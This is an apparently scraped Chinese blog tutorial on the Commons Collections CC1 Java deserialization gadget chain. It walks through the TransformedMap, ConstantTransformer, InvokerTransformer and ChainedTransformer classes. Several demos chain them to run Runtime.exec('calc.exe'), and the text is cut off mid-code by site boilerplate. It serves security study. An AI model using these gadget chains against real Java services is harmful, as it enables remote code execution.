CC1-上

Posted Zero_Adam

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CC1-上相关的知识,希望对你有一定的参考价值。

放个目录

1.前言

URLDNS还是不放了吧,不够丢人的,
推荐feng师傅的:https://ego00.blog.csdn.net/article/details/119701408

先是利用 TransformedMap这个。最终的触发点,就是 那一串Invokertransform 那里,就那一坨东西导致最终的危险。 然后手写demo是通过 map.put() 导致执行Transformed#tranform(),从而触发的。

那么在序列化实战中,我们就要找一个类,在它的反序列化readObject()中,能够触发执行Transformed#tranform(),这里使用的是AnnotationInvocationHandler 的 readObject() 。它里面用了 map.enrty()的·setValue() , 这个也能够触发transform()。可以看3.4.0

构造器的 default 知识

2. 前置知识

2.1 入门demo

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class test1 
    public static void main(String[] args)throws Exception 
        Transformer[] transformers = new Transformer[]
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec",new Class[]String.class,new Object[]"calc.exe")
        ;
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
        outerMap.put("test","xxx");
   

2.2 TransformedMap

The Map put methods and Map.Entry  method are affected by this class

巨重要,拿出来,详情可见 3.4.0

看一下源码,,


/**
 * Decorates another <code>Map</code> to transform objects that are added.
 * <p>
 * The Map put methods and Map.Entry  method are affected by this class.
 * Thus objects must be removed or searched for using their transformed form.
 * For example, if the transformation converts Strings to Integers, you must
 * use the Integer form to remove objects.
 * <p>
 * This class is Serializable from Commons Collections 3.1.
 *
 * @since Commons Collections 3.0
 * @version $Revision: 1.11 $ $Date: 2004/06/07 22:14:42 $
 * 
 * @author Stephen Colebourne
 */
public class TransformedMap
        extends AbstractInputCheckedMapDecorator
        implements Serializable 
		

作用: 用于装饰一个Map对象,转换它添加的源码

看他的decorate方法


    /**
     * Factory method to create a transforming map.
     * <p>
     * If there are any elements already in the map being decorated, they
     * are NOT transformed.
     * 
     * @param map  the map to decorate, must not be null
     * @param keyTransformer  the transformer to use for key conversion, null means no conversion
     * @param valueTransformer  the transformer to use for value conversion, null means no conversion
     * @throws IllegalArgumentException if map is null
     */
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) 
        return new TransformedMap(map, keyTransformer, valueTransformer);
    

    //-----------------------------------------------------------------------
    /**
     * Constructor that wraps (not copies).
     * <p>
     * If there are any elements already in the collection being decorated, they
     * are NOT transformed.
     * 
     * @param map  the map to decorate, must not be null
     * @param keyTransformer  the transformer to use for key conversion, null means no conversion
     * @param valueTransformer  the transformer to use for value conversion, null means no conversion
     * @throws IllegalArgumentException if map is null
     */
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) 
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    

静态方法 decorate() ,里面调用了类的 protected构造器。根据注释就可以理解,decorate()方法的第一个参数就是要修饰的Map对象,第二个和第三个参数都是实现了Transformer接口的类的对象,分别用来转换Map的键和值。为null的话就意味着没有转换。传出的Map是被修饰后的Map

2.2.1 触发 put 的位置

根据类注释: Map 类的 put 和 Enrty 的 getKey,getValue方法都能够触发 transform() 方法

The Map put methods and Map.Entry  method are affected by this class

可以知道,使用 put 还有 setValue 方法的时候,对应的键或者值会作为 input 参数,调用相应的Transformertransform()方法,该方法返回一个新的对象。(注意这个setValue方法,下文有用)

这个是 P 神解释的。

这里看一个简单的例子:

package aa;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import org.hibernate.type.descriptor.java.UUIDTypeDescriptor;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class test03 

    public static void main(String[] args) throws Exception 
        test1();
    

    private static void test1() 
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, new KeyTransformer(), new ValueTransformer());
        outerMap.put("key","value");
        printMap(outerMap);
    

    private static void printMap(Map map) 
        for(Object entry:map.entrySet())
            System.out.println(1);
        
    


class KeyTransformer implements Transformer 

    @Override
    public Object transform(Object o) 
        System.out.println("调用了 transform :KeyTransformer");
        return "key";
    


class ValueTransformer implements Transformer

    @Override
    public Object transform(Object o) 
        System.out.println("调用了 transform :ValueTransformer");
        return "value";
    

分析一下:

先看构造函数了。 这里后面讲到的 两个属性,其实都是我们进行赋值了的,就是我们自己重写的两个类了

是这个 outerMap.put("key","value"); 方法调用的,put 的时候,

直接进入put()

public Object put(Object key, Object value) 
    key = transformKey(key);
    value = transformValue(value);
    return getMap().put(key, value);

然后对 key 进行transformKey() 方法的调用,(value 同理,不分析了)看一下这个方法,

然后看一下这个 keyTransformer变量 ,我们在刚开始的构造函数中已经赋值了

这里 keyTransformer 不是 null , 然后就调用了 Transformertransform() 接口 了,

public interface Transformer 
    public Object transform(Object input);


这里因为我们在 构造函数中已经赋值了。所以就直接走我们自己写的这个接口的实现类,从而调用了这个类的 transform() ,从而打印出来结果

class KeyTransformer implements Transformer 
    @Override
    public Object transform(Object o) 
        System.out.println("调用了 transform :KeyTransformer");
        return "key";
    


class ValueTransformer implements Transformer
    @Override
    public Object transform(Object o) 
        System.out.println("调用了 transform :ValueTransformer");
        return "value";
    

小结:

当我们 decorate() 之后,put 的时候,就会对我们 decorate() 的第二个,第三个参数对象执行他们的 transform() 方法

2.3 ConstantTransformer

我的理解,就是看名字和注释嘛,常量的Transformer,就是transform() 的东西都是一个常量


/**
 * Transformer implementation that returns the same constant each time.
 * <p>
 * No check is made that the object is immutable. In general, only immutable
 * objects should use the constant factory. Mutable objects should
 * use the prototype factory.
 * 
 * @since Commons Collections 3.0
 * @version $Revision: 1.5 $ $Date: 2004/05/16 11:36:31 $
 *
 * @author Stephen Colebourne
 */
public class ConstantTransformer implements Transformer, Serializable 

翻译: 没有检查这个对象是不可变的,通常来说,唯一不可变的对象才应该使用常量工厂,可变的对象应该使用原型工厂(翻译了个shi)

具体的·ConstantTransformertransform() :对于 input, 总是返回一个 常量

/**
 * Transforms the input by ignoring it and returning the stored constant instead.
 * 
 * @param input  the input object which is ignored
 * @return the stored constant
 */
public Object transform(Object input) 
    return iConstant;

看一个测试代码:

public class test03 
    public static void main(String[] args) throws Exception 
        test2();
    
    private static void test2() 
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, new KeyTransformer(), ConstantTransformer.getInstance("adam"));
        outerMap.put("key","value");
    

这个也是可以的 new ContantTransformer ("adam") 一样的效果的,

小结:

下面可以看到常量 iConstant 就是传入的adam,然后ConstantTransformertransform()方法就不返回参数了,返回自己的常量。

P神的解释是真言简意赅

2.4 InvokerTransformer

首先一看名字就感觉是和反射有关的,然后看源码

/**
 * Transformer implementation that creates a new object instance by reflection.
 * 
 * @since Commons Collections 3.0
 * @version $Revision: 1.7 $ $Date: 2004/05/26 21:44:05 $
 *
 * @author Stephen Colebourne
 */
public class InvokerTransformer implements Transformer, Serializable 

翻译: 通过反射创建新对象实例的转换器实现

看一下 构造函数反射执行函数


    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param methodName  the method to call
     * @param paramTypes  the constructor parameter types, not cloned
     * @param args  the constructor arguments, not cloned
     */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) 
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    

    /**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) 
        if (input == null) 
            return null;
        
        try 
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
         catch (NoSuchMethodException ex) 
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
         catch (IllegalAccessException ex) 
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
         catch (InvocationTargetException ex) 
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        
    

小结;

我们 实例化的时候 new 对象() 或者 类.newInstance()的时候传入三个参数

第一个是方法名 String

第二个是该方法的所有传入参数的类型 , Class[]

第三个方法是要传入的参数的列表。 Object[]

public static void main(String[] args) throws Exception 
    test2();

private static void test2() 
    Map innerMap = new HashMap();
    Map outerMap = TransformedMap.decorate(innerMap, new KeyTransformer(), new InvokerTransformer(
                            "exec",new Class[] String.class,new Object[]"calc.exe"));
    outerMap.put("key",Runtime.getRuntime());

注意,这个的.put()的第二个参数是要传入我们要使用的方法的。

2.5 ChainedTransformer

还是先看名字,链接起来的东西,看 类注释构造函数transformer()

/**
 * Transformer implementation that chains the specified transformers together.
 * <p>
 * The input object is passed to the first transformer. The transformed result
 * is passed to the second transformer and so on.
 * 
 * @since Commons Collections 3.0
 * @version $Revision: 1.7 $ $Date: 2004/05/16 11:36:31 $
 *
 * @author Stephen Colebourne
 */
public class ChainedTransformer implements Transformer, Serializable 

翻译:将指定转换器连接到一起的 一个转换器实现输入的对象传递给第一个转换器,这个转换器的结果传递给第二个转换器,以此类推


    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param transformers  the transformers to chain, not copied, no nulls
     */
    public ChainedTransformer(Transformer[] transformers) 
        super();
        iTransformers = transformers;
    

把一个 Transformer[] 当作参数传递进去,利用这个数组的transformer()一次处理 input,并且,注意:

The input object is passed to the first transformer. The transformed result is passed to the second transformer and so on.

小结:

是一种链式的传递,前一个Transformer处理的得到的output会当作input给下一个Transformer处理。

理清了这些,很容易想到一个把这些串起来的命令执行:

public static void main(String[] args) throws Exception 
    Transformer[] transformers = new Transformer[]
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec",new Class[]String.class,new Object[]"calc.exe")
    ;
    Map innerMap = new HashMap();
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
    outerMap.put("adam","adam");

3. TransformedMap 分析

package aa;

import clojure.lang.Obj;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class test02 
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException 
        Transformer[] transformers = new Transformer[]
//            new ConstantTransformer(Runtime.getRuntime()),
            new ConstantTransformer(Class.forName("java.lang.Runtime")),
//            new InvokerTransformer("exec",new Class[]String.class,new Object[]"calc.exe"
            new InvokerTransformer("getMethod",
                new Class[]String.class,Class[].class以上是关于CC1-上的主要内容,如果未能解决你的问题,请参考以下文章

CC1-上

CC1-上

CC1-上

在 Linux 上的 C++ 源文件上运行“gcc”会给出“cc1plus: out of memory allocating ...”错误消息

cc1:错误:在 mac 10.7.5 上安装 python-mysql 时无法识别命令行选项“-Wno-null-conversion”

cc1.exe 系统错误 - libwinpthread-1.dll 丢失 - 但它不是